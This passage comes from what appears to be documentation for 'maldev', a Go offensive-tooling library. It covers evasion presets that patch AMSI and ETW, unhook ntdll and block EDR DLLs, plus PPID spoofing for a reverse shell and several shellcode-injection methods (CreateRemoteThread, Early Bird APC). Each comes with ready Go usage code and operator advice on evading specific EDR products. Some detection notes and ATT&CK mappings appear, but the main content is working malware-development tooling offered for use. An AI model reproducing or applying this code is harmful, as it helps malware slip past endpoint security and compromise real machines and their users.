where maximum evasion is worth trading away compatibility and reversibility.
CRITICAL: ACG is irreversible.
acg.Guard()callsSetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call,VirtualAlloc(PAGE_EXECUTE_*)and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE callingpreset.Aggressive(). Applying it beforehand will break your own injection code.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.All() | evasion/amsi | Patches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation |
etw.All() | evasion/etw | Patches all EtwEventWrite* and NtTraceEvent |
unhook.Full() | evasion/unhook | Replaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation |
acg.Guard() | evasion/acg | Enables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible) |
blockdlls.MicrosoftOnly() | evasion/blockdlls | Blocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible) |
Rationale
Aggressive trades reversibility for depth. amsi.All() patches both AMSI
entry points rather than just ScanBuffer, closing the bypass gap around
session-level checks. unhook.Full() replaces the entire .text section
rather than patching individual functions — guaranteed to remove every hook,
at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs
are process mitigation policies that harden the process against EDR
counter-injection; because they are kernel-enforced and irreversible, they
provide the strongest possible protection but must be the last step. This
combination is appropriate when the mission is high-value and the dwell time
is long enough that EDR will attempt active response.
Usage Examples
Basic usage
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
func main() {
// Apply Stealth preset (returns nil map on full success)
errs := evasion.ApplyAll(preset.Stealth(), nil)
for name, err := range errs {
log.Printf("evasion technique %s failed: %v", name, err)
}
}
Hardened — Win11 24H2+ with CET shadow stacks
Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
defer caller.Close()
errs := evasion.ApplyAll(preset.Hardened(), caller)
_ = errs
}
CETOptOut standalone — pluck the technique into a custom stack
stack := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
preset.CETOptOut(), // no-op when cet.Enforced() == false
sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)
With indirect syscalls (Caller)
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
errs := evasion.ApplyAll(preset.Stealth(), caller)
for name, e := range errs {
log.Printf("%s: %v", name, e)
}
}
Aggressive preset — inject first, harden after
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
func run(shellcode []byte) error {
// Step 1: apply Stealth first so injection primitives are unhooked
evasion.ApplyAll(preset.Stealth(), nil)
// Step 2: do all injection / RWX allocation here
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
// No further RWX allocation is possible after this point
evasion.ApplyAll(preset.Aggressive(), nil)
return nil
}
Custom combination
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/unhook"
)
// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Classic("NtAllocateVirtualMemory"),
unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)
Decision Matrix
| Scenario | Preset | Rationale |
|---|---|---|
| Script dropper, no injection | Minimal | AMSI+ETW is all that matters for script scanning |
| Reflective loader executing shellcode | Stealth | Needs unhooked NtAllocateVirtualMemory + NtCreateThreadEx |
| Process injection via APC | Stealth | Needs NtQueueApcThread unhooked |
| Thread hijacking | Stealth | Needs NtSetContextThread + NtResumeThread unhooked |
| Long-dwell implant, post-injection | Aggressive | ACG+BlockDLLs harden against EDR counter-injection |
| Red team final objective, assumed-breach | Aggressive | Maximum evasion depth warranted |
| EDR with heavy hook coverage suspected | Aggressive (Full unhook) | Full .text replacement vs. targeted 5-byte patches |
| Constrained environment, compatibility required | Minimal | No disk reads, no irreversible changes |
| Custom: known hook set | Manual composition | Build from individual techniques for minimal footprint |
Combined Example
Apply preset.Stealth() to unhook injection primitives, detonate a
shellcode payload, then lock the process down with preset.Aggressive()
so an EDR agent cannot counter-inject a monitoring DLL afterwards.
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func run(shellcode []byte) error {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
// 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
// The unhook pass uses indirect syscalls via `caller`, so the
// restore itself does not touch hooked NtProtectVirtualMemory.
if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
for name, err := range errs {
log.Printf("stealth: %s: %v", name, err)
}
}
// 2. Inject while RWX allocation is still legal.
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// 3. Aggressive last — ACG + BlockDLLs lock the process.
// No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
evasion.ApplyAll(preset.Aggressive(), caller)
return nil
}
Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.
API Reference
See the package godoc for the
canonical Apply(c Caller) error / ApplyAll(c Caller) map[string]error
surface. Each preset (Minimal, Stealth, Aggressive)
returns a []evasion.Technique ready to plug into
evasion.ApplyAll.
See also
- Evasion area README
evasionumbrella — theTechniqueinterface every preset bundleswin/syscall— supplies the*Callerevery preset Technique consumes
PPID Spoofing
MITRE ATT&CK: T1134.004 -- Access Token Manipulation: Parent PID Spoofing | Detection: Medium -- Process tree anomalies are detectable but require behavioral analysis
Primer
When a process creates a child process on Windows, the child inherits its parent's identity in the process tree. Security tools use this parent-child relationship as a key detection signal. For example, if cmd.exe is spawned by explorer.exe, that looks normal -- the user opened a command prompt. But if cmd.exe is spawned by excel.exe, that is highly suspicious and likely indicates a macro-based attack.
PPID spoofing breaks this detection by lying about the parent. When creating a child process, we use the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to specify a different parent process handle. The child process appears in the process tree as if it was spawned by the chosen parent (e.g., explorer.exe or svchost.exe), even though our process actually created it.
This is a legitimate Windows API feature -- Go 1.24+ even added native support via syscall.SysProcAttr.ParentProcess.
How It Works
sequenceDiagram
participant Attacker as "Attacker (malware.exe)"
participant Explorer as "explorer.exe (PID 1234)"
participant Kernel as "Windows Kernel"
participant Child as "cmd.exe (child)"
Attacker->>Kernel: OpenProcess(PROCESS_CREATE_PROCESS, explorer PID)
Kernel-->>Attacker: hParent
Note over Attacker: Build PROC_THREAD_ATTRIBUTE_LIST<br>with PARENT_PROCESS = hParent
Attacker->>Kernel: CreateProcess(cmd.exe, EXTENDED_STARTUPINFO)
Kernel->>Child: Create process
Kernel-->>Child: ParentProcessId = 1234 (explorer)
Note over Child: Process tree shows:<br>explorer.exe → cmd.exe<br>(not malware.exe → cmd.exe)
Step-by-step:
- Find target parent -- Enumerate running processes to find a suitable legitimate parent (e.g.,
explorer.exe,svchost.exe). - OpenProcess(PROCESS_CREATE_PROCESS) -- Open the target with the minimum right needed for PPID spoofing.
- Build SysProcAttr -- Set
ParentProcessto the opened handle. Go 1.24+ handles thePROC_THREAD_ATTRIBUTE_LISTplumbing automatically. - CreateProcess -- Spawn the child process. Windows sets the child's
ParentProcessIdto the target, not the actual creator.
Default Targets
maldev searches for these processes in order (first match wins):
| Process | Why |
|---|---|
explorer.exe | Every interactive session has one. Most natural parent for user-facing apps. |
svchost.exe | Dozens of instances. Services spawning children is normal. |
sihost.exe | Shell Infrastructure Host. Present in every session. |
RuntimeBroker.exe | UWP broker. Common, low-profile parent. |
Usage
package main
import (
"fmt"
"os/exec"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/c2/shell"
)
func main() {
spoofer := shell.NewPPIDSpoofer()
if err := spoofer.FindTargetProcess(); err != nil {
panic(err)
}
fmt.Printf("Spoofing parent to PID %d\n", spoofer.TargetPID())
attr, parentHandle, err := spoofer.SysProcAttr()
if err != nil {
panic(err)
}
defer windows.CloseHandle(parentHandle)
cmd := exec.Command("cmd.exe", "/c", "whoami")
cmd.SysProcAttr = attr
out, err := cmd.Output()
if err != nil {
panic(err)
}
fmt.Printf("Output: %s\n", out)
}
Custom Targets
// Target a specific process
spoofer := shell.NewPPIDSpooferWithTargets([]string{"winlogon.exe"})
if err := spoofer.FindTargetProcess(); err != nil {
// winlogon.exe requires SeDebugPrivilege to open
panic(err)
}
Integration with Reverse Shell
The PPID spoofer integrates naturally with c2/shell for reverse shell scenarios:
// The reverse shell can spawn under a spoofed parent,
// making the shell process appear as a child of explorer.exe
// in EDR process trees.
spoofer := shell.NewPPIDSpoofer()
spoofer.FindTargetProcess()
attr, handle, _ := spoofer.SysProcAttr()
defer windows.CloseHandle(handle)
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = attr
// ... bind to transport
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | Medium -- fools basic process tree analysis, but advanced EDR can correlate the real creator via ETW ProcessStart events or kernel callbacks. |
| Compatibility | Windows Vista+ (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Go 1.24+ for native SysProcAttr.ParentProcess. |
| Privileges | PROCESS_CREATE_PROCESS on the target parent. For system processes (winlogon.exe, lsass.exe), SeDebugPrivilege is required. |
| Exploit Guard | Windows Exploit Guard / ASR rules can block PPID spoofing on hardened systems (Windows 10 22H2+). The test SKIPs in this case. |
| Scope | Only affects the parent PID in the process tree. The child still inherits the creator's token unless explicit token manipulation is also performed. |
| Go 1.24+ | Uses native syscall.SysProcAttr.ParentProcess -- no CGO, no manual attribute list management. |
Detection
Defenders can detect PPID spoofing via:
- ETW ProcessStart events -- The
CreatingProcessIdfield in the kernel event shows the real creator, not the spoofed parent. - Handle table analysis -- The creator must have an open handle to the target parent with
PROCESS_CREATE_PROCESS. - Behavioral anomalies -- A child process's token/session doesn't match the supposed parent's session.
- Sysmon Event ID 1 --
ParentProcessIdvsParentProcessGuidcan reveal mismatches.
API Reference
// Create with default targets (explorer, svchost, sihost, RuntimeBroker)
spoofer := shell.NewPPIDSpoofer()
// Create with custom targets
spoofer := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe", "notepad.exe"})
// Find a running target process
err := spoofer.FindTargetProcess()
// Get the selected PID
pid := spoofer.TargetPID()
// Get SysProcAttr for exec.Command -- caller must close handle
attr, parentHandle, err := spoofer.SysProcAttr()
defer windows.CloseHandle(parentHandle)
// Check actual parent PID of any process
ppid, err := shell.ParentPID(childPID)
// Check if current process is admin
admin := shell.IsAdmin()
See also
- Evasion area README
processtechniques (index) — sibling process-tampering primitivesprocess/tamper/fakecmd— companion lineage-spoof: pretty up the spawned child's CommandLine
Injection techniques
The inject/ package supplies a unified Windows + Linux injection
surface: 16 Windows methods, 3 Linux methods, plus a Pipeline pattern
for custom memory + executor combinations. Every method implements
Injector;
self-process methods additionally implement
SelfInjector
so the freshly-allocated region can be wired into
evasion/sleepmask or
cleanup/memory.WipeAndFree without
re-deriving address and size.
TL;DR
flowchart LR
SC[shellcode] --> M{target}
M -->|self| S[CreateThread / Fiber / EtwpCreateEtwThread / ThreadPool / Callback]
M -->|child suspended| C[EarlyBird APC / Thread Hijack / spoofed args]
M -->|existing PID| R[CRT / NtQueueApcThreadEx / SectionMap / KCT / PhantomDLL]
S -->|via SelfInjector| SM[evasion/sleepmask]
S -->|via SelfInjector| WM[cleanup/memory.WipeAndFree]
Target categories
The target column drives the OPSEC trade-off and the API surface the implant pays for.
| Target | Meaning | Who pays the cost | Typical syscalls |
|---|---|---|---|
| Self | Shellcode runs in the current maldev-built process. | Implant's own process | none cross-process — VirtualAlloc + exec |
| Local | Same as Self, but the technique deliberately avoids spawning a new thread (callback abuse, pool work, module stomping). | Implant's own process | VirtualAlloc + EnumWindows / TpPostWork / stomp |
| Remote | Existing PID supplied by the caller. | Target PID | OpenProcess + VirtualAllocEx + WriteProcessMemory (or a section variant) + thread trigger |
| Child (suspended) | Implant spawns a process in CREATE_SUSPENDED, mutates state, resumes. | Newly-created child | CreateProcess(SUSPENDED) + write + resume / APC / hijack |
Stealth ranking by target (general): Local > Child (suspended) > Remote.
Local avoids cross-process primitives; Child is acceptable because the
process tree is predictable; Remote is the loudest — WriteProcessMemory
into an unrelated running process is a textbook EDR trigger.
Per-method index
| Technique | Method constant | Target | Creates thread? | Uses WriteProcessMemory? | Stealth tier |
|---|---|---|---|---|---|
| CreateRemoteThread | MethodCreateRemoteThread | Remote | yes | yes | low |
| Early Bird APC | MethodEarlyBirdAPC | Child (suspended) | no (APC) | yes | medium |
| Thread Hijack | MethodThreadHijack | Child (suspended) | no | yes | medium |
| NtQueueApcThreadEx | MethodNtQueueApcThreadEx | Remote | no (special APC) | yes | medium |
| Callback execution | ExecuteCallback | Local | no | no | high |
| Thread Pool | ThreadPoolExec | Local | no (pool worker) | no | high |
| Module Stomping | ModuleStomp | Local | caller decides | no | high |
| Section Mapping | SectionMapInject | Remote | yes | no | high |
| Phantom DLL | PhantomDLLInject | Remote (placement only) | no (caller) | yes | very high |
| Kernel Callback Table | KernelCallbackExec | Remote | no | yes | high |
| EtwpCreateEtwThread | MethodEtwpCreateEtwThread | Self | yes (internal) | no | high |
| Process Argument Spoofing | SpawnWithSpoofedArgs | Child (suspended) | n/a — disguise | yes | medium |
Decision flow
flowchart TD
Start([Need to run shellcode]) --> Q1{Self or remote?}
Q1 -->|self-inject| Q2{Need memory stealth?}
Q1 -->|remote process| Q3{Can spawn a new process?}
Q2 -->|yes — image-backed| MS[Module Stomping]
Q2 -->|no| Q4{Avoid thread creation?}
Q4 -->|yes| CB[Callback execution]
Q4 -->|pool is fine| TP[Thread Pool]
Q4 -->|thread is fine| ETW[EtwpCreateEtwThread]
Q3 -->|yes — cover for the spawn| Q5{Need APC stealth?}
Q3 -->|no — existing PID| Q6{Avoid WriteProcessMemory?}
Q5 -->|yes| EB[Early Bird APC]
Q5 -->|register-mutate| TH[Thread Hijack]
Q5 -->|disguise args too| AS[Process Arg Spoofing + EB/TH]
Q6 -->|yes| SM[Section Mapping]
Q6 -->|WPM is OK| Q7{Win10 1903+?}
Q7 -->|yes| APCEX[NtQueueApcThreadEx]
Q7 -->|either way| Q8{Target has windows?}
Q8 -->|yes| KC[KernelCallbackTable]
Q8 -->|no| CRT[CreateRemoteThread]
style MS fill:#2d5016,color:#fff
style SM fill:#2d5016,color:#fff
style CB fill:#2d5016,color:#fff
style TP fill:#2d5016,color:#fff
style KC fill:#2d5016,color:#fff
Quick decision tree
| You want to… | Use |
|---|---|
| …self-inject without spawning a thread | callback-execution.md |
| …self-inject through a thread-pool worker | thread-pool.md |
| …self-inject image-backed (memory looks like a normal module) | module-stomping.md |
| …spawn a clean new process and queue shellcode pre-init | early-bird-apc.md |
| …inject into an existing PID with WPM allowed | create-remote-thread.md |
| …inject into an existing PID without WriteProcessMemory | section-mapping.md |
| …blend with a mapped DLL on disk (path-spoof) | phantom-dll.md |
| …land in the GUI message-loop callback table | kernel-callback-table.md |
| …pivot via a hijacked existing thread | thread-hijack.md |
| …queue a Win10-1903+ APC (special) | nt-queue-apc-thread-ex.md |
| …disguise the spawned child's argv | process-arg-spoofing.md |
| …land via the EtwpCreateEtwThread trampoline | etwp-create-etw-thread.md |
Architecture
All methods implement Injector:
type Injector interface {
Inject(shellcode []byte) error
}
Build() returns a fluent
*InjectorBuilder
that selects syscall mode (WinAPI / NativeAPI / direct / indirect with
arbitrary SSNResolver), pins target,
stacks middleware (WithValidation, WithCPUDelay, WithXOR), and
emits an Injector.
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
The
Pipeline
pattern separates memory setup from execution, allowing mix-and-match
combinations the named methods do not cover:
p := inject.NewPipeline(
inject.RemoteMemory(hProcess, caller),
inject.CreateRemoteThreadExecutor(hProcess, caller),
)
return p.Inject(shellcode)
SelfInjector — recovering the region
Self-process injectors (MethodCreateThread, MethodCreateFiber,
MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux) place
the shellcode inside the current process. The base Injector interface
throws the address away. The optional SelfInjector interface exposes
it:
type Region struct {
Addr uintptr
Size uintptr
}
type SelfInjector interface {
Injector
InjectedRegion() (Region, bool)
}
Type-assert and feed the region directly into evasion/sleepmask:
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err := inj.Inject(shellcode); err != nil { return err }
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(30 * time.Second)
}
}
}
Contract:
- Returns
(Region{}, false)before the first successfulInject. - Returns
(Region{}, false)on cross-process methods (CRT, APC, EarlyBird, ThreadHijack, Rtl, NtQueueApcThreadEx) — the region lives in the target, not the implant. - A failed
Injectdoes not clobber a previously-published region. - Decorators (
WithValidation,WithCPUDelay,WithXOR) andPipelineforwardInjectedRegiontransparently.
[!WARNING]
MethodCreateFibernotice —ConvertThreadToFiberpermanently transforms the calling OS thread; Go's M:N scheduler is unaware of fibers, and any goroutine multiplexed onto that thread observes fiber state instead of goroutine state. Real shellcode that callsExitThreadkills the host runtime. Spawn a true OS thread viakernel32!CreateThread(notgo func()—runtime.LockOSThreadis not enough), let it run the fiber dance, let it die when the shellcode exits. The matrix testTestFiber_RealShellcodeis permanently skipped — see the comment ininject/realsc_windows_test.go.
Syscall modes
Every Windows injection method routes through one of the four modes
on the configured *wsyscall.Caller:
| Mode | Constant | Bypasses | Use when |
|---|---|---|---|
| WinAPI | wsyscall.MethodWinAPI | nothing | testing / no EDR |
| Native API | wsyscall.MethodNativeAPI | kernel32 hooks | light EDR |
| Direct syscall | wsyscall.MethodDirect | all userland hooks | medium EDR |
| Indirect syscall | wsyscall.MethodIndirect | userland hooks + CFG check | heavy EDR |
Pair with evasion/unhook to defeat
ntdll inline hooks before the inject fires.
MITRE ATT&CK
| T-ID | Name | Methods | D3FEND counter |
|---|---|---|---|
| T1055 | Process Injection | umbrella | D3-PSA |
| T1055.001 | DLL Injection | CRT, KCT, ModuleStomp, PhantomDLL, SectionMap, ThreadPool, Callback | D3-PSA / D3-PCSV |
| T1055.003 | Thread Execution Hijacking | ThreadHijack | D3-PSA |
| T1055.004 | Asynchronous Procedure Call | EarlyBird, NtQueueApcThreadEx | D3-PSA |
| T1055.015 | ListPlanting | Callback (CreateTimerQueueTimer) | D3-PCSV |
| T1564.010 | Process Argument Spoofing | SpawnWithSpoofedArgs | D3-PSA |
| T1036.005 | Match Legitimate Name or Location | combine with arg spoofing | D3-PSA |
See also
- Operator path: deciding the injection method
- Researcher path: per-method primitives
- Detection eng path: injection telemetry
win/syscall—Callerinterface and SSN resolvers.evasion/sleepmask— pair withSelfInjectorto mask the region during sleep.cleanup/memory— pair to wipe the region on exit.
CreateRemoteThread injection
← injection index · docs/index
TL;DR
The classic, reliable, highly monitored primitive: open a handle to the target PID, allocate RW memory, write the shellcode, flip to RX, spawn a fresh thread at the shellcode address. Works on every Windows version. Choose this only when stealth is not the priority — it is the single most-watched injection path in the matrix.
Primer
CreateRemoteThread is the textbook process injection. The library opens
a handle to a target PID with the four access rights that matter
(PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_VM_READ,
PROCESS_CREATE_THREAD), allocates a page of RW memory inside the
target's address space, copies the shellcode in, raises the page to RX,
and asks the kernel to spawn a fresh thread whose start address is the
shellcode pointer.
Every step has been a known-bad pattern for over a decade. Defender,
CrowdStrike, and SentinelOne hook every API in the chain plus the
kernel callback PsSetCreateThreadNotifyRoutine. The technique still
ships in this package because it is the baseline against which every
stealth method measures itself — and because some legitimate
debugging tools also use it, so a small amount of background noise
exists.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target PID"
Impl->>Kern: OpenProcess(VM_*, CREATE_THREAD)
Kern-->>Impl: hProcess
Impl->>Kern: NtAllocateVirtualMemory(RW)
Kern->>Tgt: page allocated
Kern-->>Impl: remoteAddr
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Kern->>Tgt: bytes copied
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtCreateThreadEx(remoteAddr)
Kern->>Tgt: new thread @ shellcode
Tgt->>Tgt: shellcode runs
Steps:
- Open the target with the four access rights.
- Allocate in the target via
NtAllocateVirtualMemory(RW — never raw RWX, that's an extra signature). - Write the shellcode with
NtWriteVirtualMemory. - Re-protect to RX with
NtProtectVirtualMemory. - Spawn with
NtCreateThreadEx(orCreateRemoteThreadif the caller selectedwsyscall.MethodWinAPI).
The package fans out steps 2–5 through the configured
*wsyscall.Caller, so the same code
runs through WinAPI, NativeAPI, direct syscalls, or indirect syscalls
depending on EDR posture.
API Reference
Method = MethodCreateRemoteThread
The constant "crt". Pass to Config.Method
or InjectorBuilder.Method.
inject.DefaultWindowsConfig(method, pid) *WindowsConfig
Convenience constructor. Returns a *WindowsConfig with sensible defaults
and the requested method + PID set.
Parameters:
method—MethodCreateRemoteThread.pid— non-zero PID of the target process.
Returns: *WindowsConfig ready to pass to NewWindowsInjector.
inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)
Build an Injector for the configured method.
Returns:
Injector— call.Inject(shellcode)to perform the operation.error—ErrNotSupportedif the method is unknown, or config-validation errors (PID required for cross-process methods, ProcessPath required for child-process methods).
Side effects: none until Inject is called.
OPSEC: very-noisy on Inject — see OPSEC & Detection below.
Builder pattern
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(pid).
IndirectSyscalls(). // or .DirectSyscalls(), .NativeAPI(), .WinAPI()
Use(inject.WithCPUDelayConfig(...)). // optional middleware
Create()
Build() returns an *InjectorBuilder.
Method, TargetPID, *Syscalls, Use, and Create are the relevant
methods for this technique.
Examples
Simple
cfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 1234)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls + caller chain)
Bypass userland hooks before the injection fires:
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(targetPID).
IndirectSyscalls().
Resolver(wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate())).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (encrypt + evade + inject + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(targetPID).
IndirectSyscalls().
Use(inject.WithXORKey(0x41)).
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
Complex (Pipeline with custom memory + executor)
When the named methods do not fit, drop down to the Pipeline:
mem := inject.RemoteMemory(hProcess, caller)
exec := inject.CreateRemoteThreadExecutor(hProcess, caller)
p := inject.NewPipeline(mem, exec)
return p.Inject(shellcode)
This separates "where the bytes land" from "how they get triggered" — swap either side independently to build novel chains.
See ExampleNewWindowsInjector and ExampleBuild in
inject_example_windows_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenProcess with PROCESS_VM_* + PROCESS_CREATE_THREAD from a non-debugger process | Sysmon Event 10 (ProcessAccess), EDR kernel callback ObCallbackRegister |
Cross-process NtWriteVirtualMemory | Sysmon does not log this directly; EDR userland hooks + kernel ETW (Microsoft-Windows-Kernel-Process) |
NtCreateThreadEx start address outside any module image | EDR PsSetCreateThreadNotifyRoutine callback is the canonical detection — flags non-image-backed start addresses |
| Fresh remote thread with no legitimate call stack | Stack-walking telemetry (CrowdStrike, MDE) finds the orphan immediately |
RWX page in target after NtProtectVirtualMemory | Allocation-protect telemetry — the package avoids this by allocating RW first then flipping to RX, but the X-flip itself is logged |
D3FEND counters:
- D3-PSA
— process-spawn analysis correlates the
OpenProcess↔CreateThreadpair. - D3-EAL — code-integrity policies (WDAC) refuse non-image-backed thread start addresses.
Hardening for the operator: route all four NT calls through indirect
syscalls (defeats userland hooks), unhook ntdll first
(evasion/unhook), and prefer a different technique entirely if the
target enforces ETW-Ti (Threat-Intelligence ETW provider). CRT remains
useful only against light EDR or as a deliberately-loud feint.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | thread-creation variant of the classic shellcode-injection pattern | D3-PSA |
Limitations
- Highly visible. Treat as a baseline. Use only when EDR is light or absent.
- PROCESS_CREATE_THREAD required in the access mask. Some hardened processes (PPL, anti-malware service) cannot be opened with this right.
- Orphan call stack. The new thread has no legitimate caller history; stack-walking detection trivially flags it.
- No PPL targets. Protected Process Light denies cross-process thread creation outright. Use a non-PPL target.
See also
- Early Bird APC — same shape but APC-triggered,
avoids the
CreateThreadevent. - Thread Hijack — redirects an existing thread instead of creating one.
- Section Mapping — same target shape but no
WriteProcessMemory. evasion/unhook— pair to defeat userland hooks before the injection.win/syscall— the four syscall modes available to every method.
Early Bird APC injection
← injection index · docs/index
TL;DR
Spawn a sacrificial child in CREATE_SUSPENDED state, allocate +
write + protect the shellcode in its address space, queue an APC on
its main thread, then ResumeThread. The APC fires before the
process entry point — no CreateRemoteThread event, no extra
thread, predictable timing. Stealth tier: medium.
Primer
The classic CreateRemoteThread path is loud because the kernel emits a
thread-creation event the moment the new thread starts. Early Bird APC
sidesteps that by reusing the main thread of a freshly-spawned,
suspended child process. The thread already exists (the kernel created
it as part of CreateProcess); the implant queues an asynchronous
procedure call (APC) on it that points at the shellcode, then resumes
it. The kernel dispatches APCs as part of the thread's first
user-mode instructions, so the shellcode runs before any of the
target process's own initialisation — including CRT, before
DllMain, before mainCRTStartup.
The technique is a known pattern (FireEye, FireEye Stories — Early Bird
Code Injection, 2018). EDR products correlate CREATE_SUSPENDED ↔
NtQueueApcThread ↔ ResumeThread and flag the chain. It still
performs better than CRT against signature-based products and basic
ETW-Ti consumers because no Create*Thread* API is invoked at all.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Child as "Child (e.g. notepad.exe, suspended)"
Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
Kern->>Child: process + main thread, frozen
Kern-->>Impl: hProcess, hThread
Impl->>Kern: NtAllocateVirtualMemory(RW)
Kern->>Child: page allocated
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Kern->>Child: bytes copied
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtQueueApcThread(hThread, remoteAddr)
Kern->>Child: APC queued (kernel APC list)
Impl->>Kern: ResumeThread(hThread)
Child->>Child: APC dispatch fires before entry
Child->>Child: shellcode runs, then process resumes
Steps:
- Spawn the sacrificial child with
CREATE_SUSPENDED(defaultnotepad.exe; passProcessPathto override). - Allocate / write / protect in the child as for CRT.
- Queue APC on the main thread via
NtQueueApcThread. The kernel inserts the routine pointer into the thread's user-mode APC queue. - Resume the main thread. The kernel pops the APC before delivering control to the original entry point.
API Reference
Method = MethodEarlyBirdAPC
The constant "earlybird". Pass to Config.Method
or InjectorBuilder.Method.
WindowsConfig.ProcessPath
Path to the sacrificial executable. Required for child-process methods.
Default fallback: C:\Windows\System32\notepad.exe. Choose a binary
that blends into the target's process tree (svchost.exe,
RuntimeBroker.exe, WerFault.exe).
inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)
Same shape as the other Windows methods. Returns Injector to be
called with .Inject(shellcode).
Builder pattern
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
Examples
Simple
cfg := &inject.WindowsConfig{
Config: inject.Config{
Method: inject.MethodEarlyBirdAPC,
ProcessPath: `C:\Windows\System32\notepad.exe`,
},
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (sacrificial parent + indirect syscalls)
inj, err := inject.Build().
